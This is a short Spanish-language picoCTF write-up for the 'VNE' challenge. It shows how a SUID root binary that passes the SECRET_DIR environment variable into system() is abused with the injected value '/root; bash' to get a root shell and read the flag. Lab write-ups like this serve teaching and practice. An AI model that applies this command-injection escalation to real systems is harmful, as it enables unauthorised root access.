VNE

July 12, 20252 minutes
Para este reto picoctf proporciona unas credenciales de ssh.
En /home/ctf-player hay un binario de root con permisos SUID y con permisos de ejecución para todo el mundo, eso significa que cualquier persona puede ejecutarlo como root
ctf-player@pico-chall$ ls -la
total 24
drwxr-xr-x 1 ctf-player ctf-player 20 Jul 6 10:55 .
drwxr-xr-x 1 root root 24 Aug 4 2023 ..
drwx------ 2 ctf-player ctf-player 34 Jul 6 10:55 .cache
-rw-r--r-- 1 root root 67 Aug 4 2023 .profile
-rwsr-xr-x 1 root root 18752 Aug 4 2023 bin
Al ejecutarlo salta este error
ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set
Hay que declarar la variable de entorno SECRET_DIR con el directorio que se quiere listar
ctf-player@pico-chall$ export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
ctf-player@pico-chall$
¿De qué manera lista el contenido del directorio? El output del programa a sido flag.txt, pero en la carpeta de root hay más archivos seguramente, como .bashrc, .profile, etc… Las funciones de c para listar el contenido de carpetas, muestran todo el contenido incluso los archivos ocultos, a no ser que se especifique lo contrario
Con un strings se puede comprobar que el programa usa en algún momento la función system
ctf-player@pico-chall$ strings bin | grep system
system
Error: system() call returned non-zero value:
system@@GLIBC_2.2.5
Lo que puede ser es que el binario esté haciendo un system(’ls /root’), por eso no mostraba los archivos ocultos…
Como el contenido de la variable de entorno se está poniendo directamente en un comando se puede intentar un command injection
ctf-player@pico-chall$ export SECRET_DIR='/root; bash'
ctf-player@pico-chall$ ./bin
Listing the content of /root; bash as root:
flag.txt
root@challenge:~# cat /root/flag.txt
picoCTF{Power_t........74}